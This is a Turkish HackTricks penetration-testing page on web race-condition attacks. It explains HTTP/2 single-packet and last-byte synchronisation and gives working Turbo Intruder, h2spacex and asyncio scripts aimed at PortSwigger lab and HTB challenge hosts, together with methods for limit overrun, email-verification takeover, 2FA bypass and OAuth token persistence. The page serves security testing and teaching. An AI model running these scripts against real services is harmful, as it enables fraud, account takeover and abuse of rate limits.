hacktricks/pentesting-web/race-condition.md

22 KiB
Raw Blame History

Yarış Koşulu


Trickest kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını otomatikleştirin.
Bugün Erişim Alın:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Sıfırdan Kahraman Olarak AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

{% hint style="warning" %} Bu teknik hakkında derin bir anlayış elde etmek için orijinal raporu https://portswigger.net/research/smashing-the-state-machine kontrol edin. {% endhint %}

Yarış Koşulu Saldırılarını Geliştirme

Yarış koşullarından faydalanmanın ana engeli, birden fazla isteğin aynı anda işlenmesini sağlamaktır, işleme süreleri arasında çok az fark olmalıdır - ideal olarak 1 ms'den az.

İşte Senkronize İstekler için bazı teknikler:

HTTP/2 Tek Paket Saldırısı vs. HTTP/1.1 Son-Byte Senkronizasyonu

  • HTTP/2: Tek bir TCP bağlantısı üzerinden iki isteği göndermeyi destekler, ağ gecikmesi etkisini azaltır. Ancak, sunucu tarafındaki değişiklikler nedeniyle iki istek, tutarlı bir yarış koşulu sömürüsü için yeterli olmayabilir.
  • HTTP/1.1 'Son-Byte Senkronizasyonu': 20-30 isteğin çoğu kısmını önceden göndermeyi sağlar, küçük bir parçayı tutarak, ardından birlikte gönderilerek sunucuya aynı anda ulaşılmasını sağlar.

Son-Byte Senkronizasyonu için Hazırlık şunları içerir:

  1. Akışı sonlandırmadan başlık ve vücut verilerini son bayt hariç gönderme.
  2. İlk gönderimden sonra 100 ms beklemek.
  3. Son çerçeveleri toplu olarak göndermek için TCP_NODELAY'i devre dışı bırakma.
  4. Bağlantıyı ısıtmak için ping gönderme.

Tutulan çerçevelerin sonraki gönderimi, Wireshark aracılığıyla tek bir pakette varışlarını sağlamalıdır. Bu yöntem genellikle RC saldırılarıyla ilişkilendirilmeyen statik dosyalara uygulanmaz.

Sunucu Mimarisiyle Uyum Sağlama

Hedefin mimarisini anlamak önemlidir. Ön uç sunucuları istekleri farklı yönlendirebilir ve zamanlamayı etkileyebilir. Önleyici sunucu tarafı bağlantı ısınması, önemsiz istekler aracılığıyla, istek zamanlamasını normalize edebilir.

Oturum Tabanlı Kilitleri Ele Alma

PHP'nin oturum işleyicisi gibi çerçeveler, oturum başına istekleri serileştirerek, zayıf noktaları gizleyebilir. Her istek için farklı oturum belirteçleri kullanmak, bu sorunu atlatmaya yardımcı olabilir.

Hız veya Kaynak Sınırlarını Aşma

Bağlantı ısınması etkisizse, web sunucularının hız veya kaynak sınırlarını kasıtlı olarak tetikleyerek, sunucu tarafında yarış koşullarına uygun gecikmeyi sağlayan tek paket saldırısını kolaylaştırabilir.

Saldırı Örnekleri

  • Tubo Intruder - HTTP2 tek paket saldırısı (1 uç nokta): İsteği Turbo intruder'a gönderebilirsiniz (Uzantılar -> Turbo Intruder -> Turbo Intruder'a Gönder), istekte %s için kaba kuvvet yapmak istediğiniz değeri değiştirebilirsiniz, örneğin csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s ve ardından açılır menüden examples/race-single-packer-attack.py'yi seçebilirsiniz:

Farklı değerler gönderecekseniz, bu kodu panodan kelime listesi kullanan bir kodla değiştirebilirsiniz.

passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

{% hint style="warning" %} Eğer web HTTP2'yi desteklemiyorsa (yalnızca HTTP1.1), Engine.BURP2 yerine Engine.THREADED veya Engine.BURP kullanın. {% endhint %}

  • Tubo Intruder - HTTP2 tek paket saldırısı (Çeşitli uç noktalar): RCE'yi tetiklemek için bir uç noktaya bir istek göndermeniz ve ardından diğer uç noktalara birden fazla istek göndermeniz gerektiğinde, race-single-packet-attack.py betiğini aşağıdaki gibi değiştirebilirsiniz:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • Yeni 'Paralel olarak grup gönder' seçeneği ile Repeater üzerinden de mevcuttur.
  • Limit aşımı için grup içine aynı isteği 50 kez ekleyebilirsiniz.
  • Bağlantı ısınması için, web sunucusunun statik olmayan bir kısmına bazı istekler ekleyebilirsiniz.
  • Bir isteği işleme ve başka bir isteği işleme arasındaki süreyi geciktirmek için, her iki istek arasına ek istekler ekleyebilirsiniz.
  • Çoklu uçlu bir RC için, gizli duruma giden isteği göndermeye başlayabilir ve ardından gizli durumu sömüren 50 isteği hemen gönderebilirsiniz.
  • Otomatik python betiği: Bu betiğin amacı, bir kullanıcının e-posta adresini sürekli olarak doğrulayarak değiştirmektir, yeni e-posta adresinin doğrulama belirteci eski e-postaya ulaşana kadar (çünkü kodda, e-postayı değiştirmenin mümkün olduğu ancak doğrulamanın eski e-postaya gönderildiği bir RC görülüyordu çünkü e-postayı belirten değişken zaten ilk e-postayla doldurulmuştu).
    "objetivo" kelimesi alınan e-postalarda bulunduğunda, değiştirilen e-postanın doğrulama belirteci alındığını biliriz ve saldırıyı sonlandırırız.
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)




# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Ham BF

Önceki araştırmadan önce, yalnızca bir YC oluşturmak için paketleri mümkün olduğunca hızlı bir şekilde göndermeye çalışan bazı kullanılan yüklerdi.

  • Tekrarlayıcı: Önceki bölümden örnekleri kontrol edin.
  • Sızdıran: İsteği Sızdıran'a gönderin, Seçenekler menüsünde 30 iş parçağı sayısını ayarlayın ve Boş yükler olarak seçin ve 30 oluşturun.
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio
import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

Yarış Koşulu Metodolojisi

Limit aşımı / TOCTOU

Bu, bir eylemi gerçekleştirebileceğiniz sayıyı sınırlayan yerlerde ortaya çıkan zayıflıkların en temel türüdür. Örneğin, bir web mağazasında aynı indirim kodunu birkaç kez kullanmak gibi. Çok basit bir örnek bu raporda veya bu hata'da bulunabilir.

Bu tür saldırıların birçok varyasyonu vardır, bunlar arasında:

  • Bir hediye kartını birden fazla kez kullanmak
  • Bir ürünü birden fazla kez derecelendirmek
  • Hesap bakiyenizi aşan miktarda para çekmek veya transfer etmek
  • Tek bir CAPTCHA çözümünü tekrar kullanmak
  • Bir anti-brute-force hız sınırını aşmak

Gizli alt durumlar

Karmaşık yarış koşullarını sömürmek genellikle gizli veya istenmeyen makine alt durumları ile etkileşim fırsatlarından yararlanmayı içerir. İşte bu konuya nasıl yaklaşılacağı:

  1. Potansiyel Gizli Alt Durumları Tanımlayın
  • Kritik verileri değiştiren veya etkileşime giren uç noktaları belirleyerek başlayın, örneğin kullanıcı profilleri veya şifre sıfırlama süreçleri. Odaklanılacak noktalar:
  • Depolama: Sunucu tarafında kalıcı verileri işleyen uç noktaları, istemci tarafındaki verileri işleyenlere göre tercih edin.
  • Eylem: Var olan verileri değiştiren işlemleri arayın, yeni veri ekleyenlere göre sömürülebilir koşullar yaratma olasılığı daha yüksektir.
  • Anahtarlama: Başarılı saldırılar genellikle aynı tanımlayıcıya (örneğin, kullanıcı adı veya sıfırlama belirteci) dayalı işlemleri içerir.
  1. İlk Sondajı Yapın
  • Belirlenen uç noktaları yarış koşulu saldırılarıyla test ederek beklenen sonuçlardan herhangi bir sapma olup olmadığını gözlemleyin. Beklenmeyen yanıtlar veya uygulama davranışındaki değişiklikler, bir zayıflık işareti olabilir.
  1. Zafiyeti Gösterin
  • Zafiyeti sömürmek için genellikle sadece iki isteğin gerektiği minimum sayıda isteğe odaklanın. Bu adım, hassas zamanlama nedeniyle birden fazla deneme veya otomasyon gerektirebilir.

Zaman Hassas Saldırılar

İsteklerdeki zamanlama hassasiyeti, özellikle güvenlik belirteçleri için zaman damgalarının kullanıldığı tahmin edilebilir yöntemlerin kullanıldığı durumlarda zayıflıkları ortaya çıkarabilir. Örneğin, zaman damgalarına dayalı şifre sıfırlama belirteçleri oluşturmak, eşzamanlı istekler için aynı belirteçlere izin verebilir.

Sömürmek İçin:

  • Eşzamanlı şifre sıfırlama istekleri yapmak için tek paket saldırısı gibi hassas zamanlama kullanın. Eşleşen belirteçler bir zayıflığı gösterebilir.

Örnek:

  • Aynı anda iki şifre sıfırlama belirteci isteyin ve karşılaştırın. Eşleşen belirteçler, belirteç oluşturmada bir hata olduğunu gösterebilir.

Bunu denemek için PortSwigger Lab sayfasına bakın.

Gizli alt durumlar vaka çalışmaları

Ödeme yap ve bir Öğe ekle

Ödeme yapın ve ödemeniz gerekmeyen ek bir öğe ekleyin nasıl yapılacağını görmek için bu PortSwigger Lab'a bakın.

Diğer e-postaları onayla

Fikir, bir e-posta adresini doğrulamak ve aynı anda farklı bir e-posta adresine değiştirmek ve platformun yeni değiştirileni doğrulayıp doğrulamadığını bulmaktır.

2 e-posta adresine e-posta değiştirme Çerez tabanlı

Bu araştırmaya göre Gitlab, bir e-postanın doğrulama belirtecinin diğer e-postaya gönderilebileceği için bu şekilde ele geçirilebilir.

Bunu denemek için PortSwigger Lab sayfasına bakın.

Gizli Veritabanı durumları / Onayı Atlatma

Eğer bir veritabanına bilgi eklemek için 2 farklı yazma işlemi kullanılıyorsa, sadece ilk verinin veritabanına yazıldığı küçük bir zaman dilimi olabilir. Örneğin, bir kullanıcı oluşturulurken kullanıcı adı ve şifre yazılabilir ve ardından yeni oluşturulan hesabı onaylamak için belirteç yazılabilir. Bu, bir hesabın onaylanması için belirtecin bir süre boş olabileceği anlamına gelir.

Bu nedenle, bir hesap kaydedin ve hemen hesabı onaylamak için boş bir belirteçle (token= veya token[]= veya başka bir varyasyon) birkaç istek göndermek, kontrol etmediğiniz bir e-postayı onaylamanıza olanak tanıyabilir.

Bunu denemek için PortSwigger Lab sayfasına bakın.

2FA'yı Atlatma

Aşağıdaki sözdizimi, oturum oluşturulurken 2FA'nın zorunlu olmadığı için yarış koşuluna karşı savunmasızdır:

session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2 sonsuz kalıcılık

Birkaç OAuth sağlayıcısı bulunmaktadır. Bu hizmetler, sağlayıcının kaydettiği kullanıcıları doğrulamanıza ve bir uygulama oluşturmanıza izin verir. Bunun için istemci, uygulamanıza erişim izni vermek için kullanıcıların OAuth sağlayıcısı içindeki bazı verilerine erişimine izin vermesi gerekecektir.
Yani, şu ana kadar sadece google/linkedin/github... ile yapılan ortak bir girişte olduğu gibi bir sayfada "Uygulama <InsertCoolName>, bilgilerinize erişmek istiyor, izin vermek istiyor musunuz?" şeklinde bir uyarı alırsınız.

authorization_code içindeki Yarış Koşulu

Sorun, bunu kabul ettiğinizde ve kötü niyetli uygulamaya otomatik olarak bir authorization_code gönderildiğinde ortaya çıkar. Ardından, bu **uygulama, OAuth hizmet sağlayıcısındaki Yarış Koşulunu kötüye kullanarak hesabınız için authorization_code'dan daha fazla AT/RT (Kimlik Doğrulama Jetonu/Yenileme Jetonu) oluşturur. Temelde, uygulamanın verilerinize erişim iznini kabul ettiğiniz gerçeğini kötüye kullanacaktır ve birkaç hesap oluşturacaktır. Sonra, eğer uygulamanın verilerinize erişim iznini kaldırırsanız bir AT/RT çifti silinecek, ancak diğerleri hala geçerli olacaktır.

Refresh Token içindeki Yarış Koşulu

Geçerli bir RT aldıktan sonra, bunu kullanarak birkaç AT/RT oluşturmaya çalışabilir ve kullanıcı kötü niyetli uygulamanın verilerine erişim iznini iptal etse bile, birkaç RT hala geçerli olacaktır.

WebSockets'te Yarış Koşulu

WS_RaceCondition_PoC içinde, Web Sockets'te de Yarış Koşullarını kötüye kullanmak için paralel olarak websocket mesajları göndermek için bir Java PoC bulabilirsiniz.

Referanslar

Sıfırdan başlayarak AWS hacklemeyi htARTE (HackTricks AWS Red Team Expert) ile öğrenin!

HackTricks'ı desteklemenin diğer yolları:


Dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturmak ve otomatikleştirmek için Trickest'i kullanın.
Bugün Erişim Alın:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}